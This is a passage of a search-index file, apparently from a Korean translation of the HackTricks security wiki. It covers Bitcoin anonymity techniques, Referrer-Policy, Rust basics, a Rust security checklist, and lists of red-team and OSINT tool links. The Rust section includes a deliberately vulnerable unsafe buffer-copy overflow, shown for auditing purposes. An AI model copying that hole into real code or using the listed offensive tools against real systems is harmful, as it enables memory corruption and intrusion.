지갑은 고유한 거래 생성 패턴을 가지고 있어 분석가가 사용된 소프트웨어와 잠재적으로 변경 주소를 식별할 수 있습니다. 금액 및 시간 상관관계: 거래 시간이나 금액을 공개하면 거래를 추적할 수 있습니다.","breadcrumbs":"Blockchain & Crypto Currencies » 기타 블록체인 분석 기술","id":"10205","title":"기타 블록체인 분석 기술"},"10206":{"body":"네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소에 연결할 수 있으며, 이는 사용자 개인 정보를 위협할 수 있습니다. 이는 특히 한 엔티티가 많은 비트코인 노드를 운영하는 경우에 해당하며, 거래 모니터링 능력을 향상시킵니다.","breadcrumbs":"Blockchain & Crypto Currencies » 트래픽 분석","id":"10206","title":"트래픽 분석"},"10207":{"body":"개인 정보 공격 및 방어에 대한 포괄적인 목록은 Bitcoin Privacy on Bitcoin Wiki 를 방문하십시오.","breadcrumbs":"Blockchain & Crypto Currencies » 더 많은 정보","id":"10207","title":"더 많은 정보"},"10208":{"body":"","breadcrumbs":"Blockchain & Crypto Currencies » 익명 비트코인 거래","id":"10208","title":"익명 비트코인 거래"},"10209":{"body":"현금 거래 : 현금을 통해 비트코인을 획득합니다. 현금 대안 : 기프트 카드를 구매하고 이를 온라인에서 비트코인으로 교환합니다. 채굴 : 비트코인을 얻는 가장 개인적인 방법은 채굴이며, 특히 혼자서 할 때 그렇습니다. 채굴 풀은 채굴자의 IP 주소를 알 수 있습니다. Mining Pools Information 도난 : 이론적으로 비트코인을 훔치는 것은 익명으로 획득하는 또 다른 방법이 될 수 있지만, 이는 불법이며 권장되지 않습니다.","breadcrumbs":"Blockchain & Crypto Currencies » 익명으로 비트코인을 얻는 방법","id":"10209","title":"익명으로 비트코인을 얻는 방법"},"1021":{"body":"다수의 거래 : 결제를 여러 거래로 나누면 거래 금액을 모호하게 하여 프라이버시 공격을 저지할 수 있습니다. 거스름돈 회피 : 거스름돈 출력을 필요로 하지 않는 거래를 선택하면 거스름돈 탐지 방법을 방해하여 프라이버시를 향상시킵니다. 다수의 거스름돈 출력 : 거스름돈을 피할 수 없는 경우, 여러 거스름돈 출력을 생성하는 것도 여전히 프라이버시를 개선할 수 있습니다.","breadcrumbs":"Blockchain & Crypto » 거래 프라이버시를 위한 전략","id":"1021","title":"거래 프라이버시를 위한 전략"},"10210":{"body":"믹싱 서비스를 사용하면 사용자가 비트코인을 보내고 다른 비트코인을 받는 것이 가능하여 원래 소유자를 추적하기 어렵게 만듭니다. 그러나 이는 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환할 것이라는 신뢰가 필요합니다. 대안 믹싱 옵션으로는 비트코인 카지노가 있습니다.","breadcrumbs":"Blockchain & Crypto Currencies » 믹싱 서비스","id":"10210","title":"믹싱 서비스"},"10211":{"body":"CoinJoin 은 서로 다른 사용자의 여러 거래를 하나로 병합하여 입력과 출력을 일치시키려는 사람에게 과정을 복잡하게 만듭니다. 그 효과에도 불구하고 고유한 입력 및 출력 크기를 가진 거래는 여전히 추적될 수 있습니다. CoinJoin을 사용했을 가능성이 있는 예시 거래는 402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a 및 85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238입니다. 자세한 정보는 CoinJoin 을 방문하십시오. 이더리움에서 유사한 서비스는 Tornado Cash 로, 이는 채굴자의 자금으로 거래를 익명화합니다.","breadcrumbs":"Blockchain & Crypto Currencies » CoinJoin","id":"10211","title":"CoinJoin"},"10212":{"body":"CoinJoin의 변형인 PayJoin (또는 P2EP)은 두 당사자(예: 고객과 상인) 간의 거래를 일반 거래로 위장하여 CoinJoin의 고유한 동등 출력 특성이 없습니다. 이는 탐지하기 매우 어렵게 만들며, 거래 감시 기관에서 사용하는 일반 입력 소유권 휴리스틱을 무효화할 수 있습니다. plaintext 2 btc --> 3 btc\\n5 btc 4 btc 위와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별되지 않으면서 프라이버시를 향상시킵니다. PayJoin의 활용은 전통적인 감시 방법에 상당한 혼란을 초래할 수 있으며 , 거래 프라이버시 추구에 있어 유망한 발전입니다.","breadcrumbs":"Blockchain & Crypto Currencies » PayJoin","id":"10212","title":"PayJoin"},"10213":{"body":"","breadcrumbs":"Blockchain & Crypto Currencies » 암호화폐에서의 프라이버시를 위한 모범 사례","id":"10213","title":"암호화폐에서의 프라이버시를 위한 모범 사례"},"10214":{"body":"프라이버시와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 두드러집니다: 풀 노드 : 전체 블록체인을 다운로드함으로써 풀 노드는 최대한의 프라이버시를 보장합니다. 지금까지 이루어진 모든 거래가 로컬에 저장되어, 적들이 사용자가 관심 있는 거래나 주소를 식별하는 것이 불가능합니다. 클라이언트 측 블록 필터링 : 이 방법은 블록체인의 모든 블록에 대한 필터를 생성하여 지갑이 네트워크 관찰자에게 특정 관심사를 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하고, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.","breadcrumbs":"Blockchain & Crypto Currencies » 지갑 동기화 기술","id":"10214","title":"지갑 동기화 기술"},"10215":{"body":"비트코인이 P2P 네트워크에서 운영되기 때문에, IP 주소를 숨기기 위해 Tor를 사용하는 것이 권장되며, 네트워크와 상호작용할 때 프라이버시를 향상시킵니다.","breadcrumbs":"Blockchain & Crypto Currencies » 익명성을 위한 Tor 활용","id":"10215","title":"익명성을 위한 Tor 활용"},"10216":{"body":"프라이버시를 보호하기 위해서는 모든 거래에 대해 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래가 동일한 주체와 연결되어 프라이버시가 손상될 수 있습니다. 현대 지갑은 디자인을 통해 주소 재사용을 권장하지 않습니다.","breadcrumbs":"Blockchain & Crypto Currencies » 주소 재사용 방지","id":"10216","title":"주소 재사용 방지"},"10217":{"body":"다수의 거래 : 지불을 여러 거래로 나누면 거래 금액을 모호하게 하여 프라이버시 공격을 저지할 수 있습니다. 거스름돈 회피 : 거스름돈 출력을 필요로 하지 않는 거래를 선택하면 거스름돈 탐지 방법을 방해하여 프라이버시를 향상시킵니다. 다수의 거스름돈 출력 : 거스름돈을 피할 수 없는 경우, 여러 거스름돈 출력을 생성하는 것도 여전히 프라이버시를 개선할 수 있습니다.","breadcrumbs":"Blockchain & Crypto Currencies » 거래 프라이버시를 위한 전략","id":"10217","title":"거래 프라이버시를 위한 전략"},"10218":{"body":"모네로는 디지털 거래에서 절대적인 익명성의 필요성을 다루며, 프라이버시의 높은 기준을 설정합니다.","breadcrumbs":"Blockchain & Crypto Currencies » 모네로: 익명의 등대","id":"10218","title":"모네로: 익명의 등대"},"10219":{"body":"","breadcrumbs":"Blockchain & Crypto Currencies » 이더리움: 가스와 거래","id":"10219","title":"이더리움: 가스와 거래"},"1022":{"body":"모네로는 디지털 거래에서 절대적인 익명성의 필요성을 다루며, 프라이버시의 높은 기준을 설정합니다.","breadcrumbs":"Blockchain & Crypto » 모네로: 익명의 등대","id":"1022","title":"모네로: 익명의 등대"},"10220":{"body":"가스는 이더리움에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, gwei 로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 거래는 가스 한도와 기본 수수료가 포함되며, 채굴자를 유인하기 위한 팁이 포함됩니다. 사용자는 초과 지불을 방지하기 위해 최대 수수료를 설정할 수 있으며, 초과분은 환불됩니다.","breadcrumbs":"Blockchain & Crypto Currencies » 가스 이해하기","id":"10220","title":"가스 이해하기"},"10221":{"body":"이더리움의 거래는 발신자와 수신자가 포함되며, 이는 사용자 또는 스마트 계약 주소일 수 있습니다. 거래는 수수료가 필요하며 채굴되어야 합니다. 거래의 필수 정보에는 수신자, 발신자의 서명, 값, 선택적 데이터, 가스 한도 및 수수료가 포함됩니다. 특히, 발신자의 주소는 서명에서 유추되므로 거래 데이터에 필요하지 않습니다. 이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하며 암호화폐에 참여하고자 하는 모든 사람에게 기본적입니다.","breadcrumbs":"Blockchain & Crypto Currencies » 거래 실행하기","id":"10221","title":"거래 실행하기"},"10222":{"body":"https://en.wikipedia.org/wiki/Proof_of_stake https://www.mycryptopedia.com/public-key-private-key-explained/ https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions https://ethereum.org/en/developers/docs/transactions/ https://ethereum.org/en/developers/docs/gas/ https://en.bitcoin.it/wiki/Privacy tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Blockchain & Crypto Currencies » 참고 문헌","id":"10222","title":"참고 문헌"},"10223":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. Referrer는 브라우저가 이전에 방문한 페이지를 나타내기 위해 사용하는 헤더입니다.","breadcrumbs":"Interesting Http » Referrer headers and policy","id":"10223","title":"Referrer headers and policy"},"10224":{"body":"웹 페이지 내에서 GET 요청 매개변수에 민감한 정보가 포함되어 있는 경우, 페이지에 외부 소스에 대한 링크가 포함되어 있거나 공격자가 사용자가 공격자가 제어하는 URL을 방문하도록 만들거나 제안할 수 있는 경우(사회 공학). 이 경우 최신 GET 요청 내의 민감한 정보를 유출할 수 있습니다.","breadcrumbs":"Interesting Http » Sensitive information leaked","id":"10224","title":"Sensitive information leaked"},"10225":{"body":"브라우저가 민감한 정보가 다른 웹 애플리케이션으로 전송되는 것을 피할 수 있는 Referrer-policy 를 따르도록 설정할 수 있습니다: Referrer-Policy: no-referrer\\nReferrer-Policy: no-referrer-when-downgrade\\nReferrer-Policy: origin\\nReferrer-Policy: origin-when-cross-origin\\nReferrer-Policy: same-origin\\nReferrer-Policy: strict-origin\\nReferrer-Policy: strict-origin-when-cross-origin\\nReferrer-Policy: unsafe-url","breadcrumbs":"Interesting Http » Mitigation","id":"10225","title":"Mitigation"},"10226":{"body":"이 규칙은 HTML 메타 태그를 사용하여 무시할 수 있습니다(공격자는 HTML 주입을 이용해야 함): html \\n","breadcrumbs":"Interesting Http » Counter-Mitigation","id":"10226","title":"Counter-Mitigation"},"10227":{"body":"절대 GET 매개변수나 URL 경로에 민감한 데이터를 넣지 마십시오. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Interesting Http » Defense","id":"10227","title":"Defense"},"10228":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Rust Basics » Rust Basics","id":"10228","title":"Rust Basics"},"10229":{"body":"값 중 하나가 어떤 타입이 될 수 있는 struct를 만듭니다. rust struct Wrapper {\\nvalue: T,\\n} impl Wrapper {\\npub fn new(value: T) -> Self {\\nWrapper { value }\\n}\\n} Wrapper::new(42).value\\nWrapper::new(\\"Foo\\").value, \\"Foo\\"","breadcrumbs":"Rust Basics » Generic Types","id":"10229","title":"Generic Types"},"1023":{"body":"","breadcrumbs":"Blockchain & Crypto » 이더리움: 가스와 거래","id":"1023","title":"이더리움: 가스와 거래"},"10230":{"body":"Option 타입은 값이 Some 타입일 수도 있고 (무언가가 있음) None일 수도 있음을 의미합니다: rust pub enum Option {\\nNone,\\nSome(T),\\n} is_some() 또는 is_none()와 같은 함수를 사용하여 Option의 값을 확인할 수 있습니다.","breadcrumbs":"Rust Basics » Option, Some & None","id":"10230","title":"Option, Some & None"},"10231":{"body":"매크로는 수동으로 작성한 코드보다 더 많은 코드를 생성하기 때문에 함수보다 더 강력합니다. 예를 들어, 함수 시그니처는 함수가 가진 매개변수의 수와 유형을 선언해야 합니다. 반면에 매크로는 가변 개수의 매개변수를 받을 수 있습니다: println!(\\"hello\\")를 하나의 인수로 호출하거나 println!(\\"hello {}\\", name)을 두 개의 인수로 호출할 수 있습니다. 또한, 매크로는 컴파일러가 코드의 의미를 해석하기 전에 확장되므로, 매크로는 예를 들어 주어진 유형에 대해 트레이트를 구현할 수 있습니다. 함수는 런타임에 호출되기 때문에 트레이트를 컴파일 타임에 구현할 수 없습니다. rust macro_rules! my_macro {\\n() => {\\nprintln!(\\"Check out my macro!\\");\\n};\\n($val:expr) => {\\nprintln!(\\"Look at this other macro: {}\\", $val);\\n}\\n}\\nfn main() {\\nmy_macro!();\\nmy_macro!(7777);\\n} // Export a macro from a module\\nmod macros {\\n#[macro_export]\\nmacro_rules! my_macro {\\n() => {\\nprintln!(\\"Check out my macro!\\");\\n};\\n}\\n}","breadcrumbs":"Rust Basics » 매크로","id":"10231","title":"매크로"},"10232":{"body":"rust // Iterate through a vector\\nlet my_fav_fruits = vec![\\"banana\\", \\"raspberry\\"];\\nlet mut my_iterable_fav_fruits = my_fav_fruits.iter();\\nassert_eq!(my_iterable_fav_fruits.next(), Some(&\\"banana\\"));\\nassert_eq!(my_iterable_fav_fruits.next(), Some(&\\"raspberry\\"));\\nassert_eq!(my_iterable_fav_fruits.next(), None); // When it\'s over, it\'s none // One line iteration with action\\nmy_fav_fruits.iter().map(|x| capitalize_first(x)).collect() // Hashmap iteration\\nfor (key, hashvalue) in &*map {\\nfor key in map.keys() {\\nfor value in map.values() {","breadcrumbs":"Rust Basics » 반복하다","id":"10232","title":"반복하다"},"10233":{"body":"rust enum List {\\nCons(i32, List),\\nNil,\\n} let list = Cons(1, Cons(2, Cons(3, Nil)));","breadcrumbs":"Rust Basics » 재귀 박스","id":"10233","title":"재귀 박스"},"10234":{"body":"if rust let n = 5;\\nif n < 0 {\\nprint!(\\"{} is negative\\", n);\\n} else if n > 0 {\\nprint!(\\"{} is positive\\", n);\\n} else {\\nprint!(\\"{} is zero\\", n);\\n} 일치 rust match number {\\n// Match a single value\\n1 => println!(\\"One!\\"),\\n// Match several values\\n2 | 3 | 5 | 7 | 11 => println!(\\"This is a prime\\"),\\n// TODO ^ Try adding 13 to the list of prime values\\n// Match an inclusive range\\n13..=19 => println!(\\"A teen\\"),\\n// Handle the rest of cases\\n_ => println!(\\"Ain\'t special\\"),\\n} let boolean = true;\\n// Match is an expression too\\nlet binary = match boolean {\\n// The arms of a match must cover all the possible values\\nfalse => 0,\\ntrue => 1,\\n// TODO ^ Try commenting out one of these arms\\n}; 루프 (무한) rust loop {\\ncount += 1;\\nif count == 3 {\\nprintln!(\\"three\\");\\ncontinue;\\n}\\nprintln!(\\"{}\\", count);\\nif count == 5 {\\nprintln!(\\"OK, that\'s enough\\");\\nbreak;\\n}\\n} while rust let mut n = 1;\\nwhile n < 101 {\\nif n % 15 == 0 {\\nprintln!(\\"fizzbuzz\\");\\n} else if n % 5 == 0 {\\nprintln!(\\"buzz\\");\\n} else {\\nprintln!(\\"{}\\", n);\\n}\\nn += 1;\\n} for rust for n in 1..101 {\\nif n % 15 == 0 {\\nprintln!(\\"fizzbuzz\\");\\n} else {\\nprintln!(\\"{}\\", n);\\n}\\n} // Use \\"..=\\" to make inclusive both ends\\nfor n in 1..=100 {\\nif n % 15 == 0 {\\nprintln!(\\"fizzbuzz\\");\\n} else if n % 3 == 0 {\\nprintln!(\\"fizz\\");\\n} else if n % 5 == 0 {\\nprintln!(\\"buzz\\");\\n} else {\\nprintln!(\\"{}\\", n);\\n}\\n} // ITERATIONS let names = vec![\\"Bob\\", \\"Frank\\", \\"Ferris\\"];\\n//iter - Doesn\'t consume the collection\\nfor name in names.iter() {\\nmatch name {\\n&\\"Ferris\\" => println!(\\"There is a rustacean among us!\\"),\\n_ => println!(\\"Hello {}\\", name),\\n}\\n}\\n//into_iter - COnsumes the collection\\nfor name in names.into_iter() {\\nmatch name {\\n\\"Ferris\\" => println!(\\"There is a rustacean among us!\\"),\\n_ => println!(\\"Hello {}\\", name),\\n}\\n}\\n//iter_mut - This mutably borrows each element of the collection\\nfor name in names.iter_mut() {\\n*name = match name {\\n&mut \\"Ferris\\" => \\"There is a rustacean among us!\\",\\n_ => \\"Hello\\",\\n}\\n} if let rust let optional_word = Some(String::from(\\"rustlings\\"));\\nif let word = optional_word {\\nprintln!(\\"The word is: {}\\", word);\\n} else {\\nprintln!(\\"The optional word doesn\'t contain anything\\");\\n} while let rust let mut optional = Some(0);\\n// This reads: \\"while `let` destructures `optional` into\\n// `Some(i)`, evaluate the block (`{}`). Else `break`.\\nwhile let Some(i) = optional {\\nif i > 9 {\\nprintln!(\\"Greater than 9, quit!\\");\\noptional = None;\\n} else {\\nprintln!(\\"`i` is `{:?}`. Try again.\\", i);\\noptional = Some(i + 1);\\n}\\n// ^ Less rightward drift and doesn\'t require\\n// explicitly handling the failing case.\\n}","breadcrumbs":"Rust Basics » 조건문","id":"10234","title":"조건문"},"10235":{"body":"타입을 위한 새로운 메서드 생성 rust trait AppendBar {\\nfn append_bar(self) -> Self;\\n} impl AppendBar for String {\\nfn append_bar(self) -> Self{\\nformat!(\\"{}Bar\\", self)\\n}\\n} let s = String::from(\\"Foo\\");\\nlet s = s.append_bar();\\nprintln!(\\"s: {}\\", s);","breadcrumbs":"Rust Basics » 특성","id":"10235","title":"특성"},"10236":{"body":"rust #[cfg(test)]\\nmod tests {\\n#[test]\\nfn you_can_assert() {\\nassert!(true);\\nassert_eq!(true, true);\\nassert_ne!(true, false);\\n}\\n}","breadcrumbs":"Rust Basics » 테스트","id":"10236","title":"테스트"},"10237":{"body":"Arc Arc는 Clone을 사용하여 객체에 대한 더 많은 참조를 생성하고 이를 스레드에 전달할 수 있습니다. 값에 대한 마지막 참조 포인터가 범위를 벗어나면 변수가 삭제됩니다. rust use std::sync::Arc;\\nlet apple = Arc::new(\\"the same apple\\");\\nfor _ in 0..10 {\\nlet apple = Arc::clone(&apple);\\nthread::spawn(move || {\\nprintln!(\\"{:?}\\", apple);\\n});\\n} Threads 이 경우 스레드에 수정할 수 있는 변수를 전달할 것입니다. rust fn main() {\\nlet status = Arc::new(Mutex::new(JobStatus { jobs_completed: 0 }));\\nlet status_shared = Arc::clone(&status);\\nthread::spawn(move || {\\nfor _ in 0..10 {\\nthread::sleep(Duration::from_millis(250));\\nlet mut status = status_shared.lock().unwrap();\\nstatus.jobs_completed += 1;\\n}\\n});\\nwhile status.lock().unwrap().jobs_completed < 10 {\\nprintln!(\\"waiting... \\");\\nthread::sleep(Duration::from_millis(500));\\n}\\n}","breadcrumbs":"Rust Basics » Threading","id":"10237","title":"Threading"},"10238":{"body":"Rust는 기본적으로 강력한 메모리 안전성을 보장하지만, 여전히 unsafe 코드, 의존성 문제 또는 논리적 실수를 통해 치명적인 취약점을 도입할 수 있습니다. 다음 미니 치트시트는 Rust 소프트웨어의 공격적 또는 방어적 보안 검토 중 가장 일반적으로 접하게 될 원시 요소들을 모아놓았습니다. Unsafe code & memory safety unsafe 블록은 컴파일러의 별칭 및 경계 검사를 선택 해제하므로 모든 전통적인 메모리 손상 버그(OOB, use-after-free, double free 등)가 다시 나타날 수 있습니다 . 빠른 감사 체크리스트: unsafe 블록, extern \\"C\\" 함수, ptr::copy*, std::mem::transmute, MaybeUninit, 원시 포인터 또는 ffi 모듈을 찾으세요. 저수준 함수에 전달되는 모든 포인터 산술 및 길이 인수를 검증하세요. 누군가 unsafe를 다시 도입할 때 컴파일이 실패하도록 #![forbid(unsafe_code)] (크레이트 전체) 또는 #[deny(unsafe_op_in_unsafe_fn)] (1.68 +)를 선호하세요. 원시 포인터로 생성된 오버플로우 예: rust use std::ptr; fn vuln_copy(src: &[u8]) -> Vec {\\nlet mut dst = Vec::with_capacity(4);\\nunsafe {\\n// ❌ copies *src.len()* bytes, the destination only reserves 4.\\nptr::copy_nonoverlapping(src.as_ptr(), dst.as_mut_ptr(), src.len());\\ndst.set_len(src.len());\\n}\\ndst\\n} Miri를 실행하는 것은 테스트 시간에 UB를 감지하는 저렴한 방법입니다: bash rustup component add miri\\ncargo miri test # hunts for OOB / UAF during unit tests Auditing dependencies with RustSec / cargo-audit 대부분의 실제 Rust 취약점은 서드파티 크레이트에 존재합니다. RustSec 자문 DB(커뮤니티 기반)는 로컬에서 쿼리할 수 있습니다: bash cargo install cargo-audit\\ncargo audit # flags vulnerable versions listed in Cargo.lock CI에 통합하고 --deny warnings에서 실패합니다. cargo deny check advisories는 유사한 기능을 제공하며 라이센스 및 금지 목록 검사를 포함합니다. cargo-vet을 통한 공급망 검증 (2024) cargo vet는 가져오는 모든 crate에 대한 검토 해시를 기록하고 눈치채지 못한 업그레이드를 방지합니다: bash cargo install cargo-vet\\ncargo vet init # generates vet.toml\\ncargo vet --locked # verifies packages referenced in Cargo.lock 이 도구는 Rust 프로젝트 인프라와 증가하는 수의 조직에서 오염된 패키지 공격을 완화하기 위해 채택되고 있습니다. API 표면의 퍼징 (cargo-fuzz) 퍼징 테스트는 패닉, 정수 오버플로우 및 DoS 또는 사이드 채널 문제가 될 수 있는 논리 버그를 쉽게 포착합니다: bash cargo install cargo-fuzz\\ncargo fuzz init # creates fuzz_targets/\\ncargo fuzz run fuzz_target_1 # builds with libFuzzer & runs continuously 리포지토리에 퍼즈 타겟을 추가하고 파이프라인에서 실행하세요.","breadcrumbs":"Rust Basics » Security Essentials","id":"10238","title":"Security Essentials"},"10239":{"body":"RustSec Advisory Database – https://rustsec.org Cargo-vet: \\"Auditing your Rust Dependencies\\" – https://mozilla.github.io/cargo-vet/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Rust Basics » References","id":"10239","title":"References"},"1024":{"body":"가스는 이더리움에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, gwei 로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 거래는 가스 한도와 기본 수수료가 포함되며, 채굴자를 유인하기 위한 팁이 있습니다. 사용자는 초과 지불하지 않도록 최대 수수료를 설정할 수 있으며, 초과분은 환불됩니다.","breadcrumbs":"Blockchain & Crypto » 가스 이해하기","id":"1024","title":"가스 이해하기"},"10240":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. https://github.com/yarox24/attack_monitor https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/ https://github.com/ION28/BLUESPAWN https://github.com/PaperMtn/lil-pwny : 공개된 계정 확인 https://github.com/rabobank-cdc/DeTTECT","breadcrumbs":"More Tools » BlueTeam","id":"10240","title":"BlueTeam"},"10241":{"body":"https://github.com/3vangel1st/kamerka https://github.com/BullsEye0/google_dork_list https://github.com/highmeh/lure https://www.shodan.io/ https://censys.io/ https://viz.greynoise.io/table https://www.zoomeye.org https://fofa.so https://www.onyphe.io https://app.binaryedge.io https://hunter.io https://wigle.net https://ghostproject.fr https://www.oshadan.com/ https://builtwith.com/ https://www.spiderfoot.net/ https://github.com/zricethezav/gitleaks https://www.nmmapper.com/sys/tools/subdomainfinder/ : 8개의 서브도메인 찾기 도구, sublist3r, amass 등","breadcrumbs":"More Tools » OSINT","id":"10241","title":"OSINT"},"10242":{"body":"https://github.com/AlisamTechnology/ATSCAN https://github.com/momenbasel/KeyFinder https://github.com/hahwul/XSpear https://github.com/BitTheByte/Monitorizer/ https://github.com/spinkham/skipfish https://github.com/blark/aiodnsbrute : 비동기적으로 도메인 이름을 무작위로 시도 https://crt.sh/?q=%.yahoo.com : 서브도메인 무작위 공격 https://github.com/tomnomnom/httprobe : 도메인 내 웹 서버 접근 가능 여부 확인 https://github.com/aboul3la/Sublist3r : 서브도메인 발견 https://github.com/gwen001/github-search/blob/master/github-subdomains.py : github에서 서브도메인 발견 https://github.com/robertdavidgraham/masscan : 빠른 포트 스캔 https://github.com/Threezh1/JSFinder : 웹의 JS 파일에서 서브도메인 및 URL 추출 https://github.com/C1h2e1/MyFuzzingDict : 웹 파일 사전 https://github.com/TypeError/Bookmarks/blob/master/README.md : 여러 반복 탭을 피하기 위한 BurpExtension https://github.com/hakluke/hakrawler : 자산 획득 https://github.com/izo30/google-dorker : Google dorks https://github.com/sehno/Bug-bounty/blob/master/bugbounty_checklist.md : 웹 BugBounty 체크리스트 https://github.com/Naategh/dom-red : Open Redirection에 대한 도메인 목록 확인 https://github.com/prodigysml/Dr.-Watson : Burp 플러그인, 오프라인 분석을 통해 도메인, 서브도메인 및 IP 발견 https://github.com/hahwul/WebHackersWeapons : 다양한 도구 목록 https://github.com/gauravnarwani97/Trishul : 취약점 찾기 위한 BurpSuite 플러그인 (SQLi, XSS, SSTI) https://github.com/fransr/postMessage-tracker : post-messages 기능 추적을 위한 Chrome 확장 https://github.com/Quitten/Autorize : 자동 인증 테스트 (쿠키 제거 후 요청 전송 시도) https://github.com/pikpikcu/xrcross : XRCross는 재구성, 스캐너 및 침투 / BugBounty 테스트 도구입니다. 이 도구는 (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) 취약점을 테스트하기 위해 만들어졌습니다.","breadcrumbs":"More Tools » WEB","id":"10242","title":"WEB"},"10243":{"body":"https://github.com/Mr-Un1k0d3r/PoisonHandler : 측면 이동 https://freddiebarrsmith.com/trix/trix.html : LOL bins https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79 ( https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/ ): 지속성 https://github.com/odzhan/injection : Windows 프로세스 주입 기술 https://github.com/BankSecurity/Red_Team : Red Team 스크립트 https://github.com/l0ss/Grouper2 : Active Directory 그룹 정책에서 보안 관련 잘못된 구성 찾기. https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring : Securestring 난독화 https://pentestlab.blog/2020/02/24/parent-pid-spoofing/ : 부모 PID 스푸핑 https://github.com/the-xentropy/xencrypt : Powershell 페이로드 암호화 https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/ : 스텔스 C2 https://windows-internals.com/faxing-your-way-to-system/ : Windows 내부에 대한 로그 시리즈 https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/ : 문서를 열어본 사람 추적 https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet : Active Directory 치트 시트","breadcrumbs":"More Tools » Windows","id":"10243","title":"Windows"},"10244":{"body":"도구 q veo q pueden molar para analizar firmares (automaticas): https://github.com/craigz28/firmwalker https://github.com/fkie-cad/FACT_core https://gitlab.com/bytesweep/bytesweep-go Post-crema: https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html 온라인에서 펌웨어를 찾을 수 없을 경우 펌웨어를 추출하는 방법: https://www.youtube.com/watch?v=Kxvpbu9STU4 여기 분석할 수 있는 취약점이 있는 펌웨어: https://github.com/scriptingxss/IoTGoat 그리고 여기 펌웨어 분석을 위한 OWASP 방법론: https://github.com/scriptingxss/owasp-fstm 펌웨어 에뮬레이션: FIRMADYNE (https://github.com/firmadyne/firmadyne/)는 Linux 기반 펌웨어의 에뮬레이션 및 동적 분석을 자동화하는 플랫폼입니다.","breadcrumbs":"More Tools » 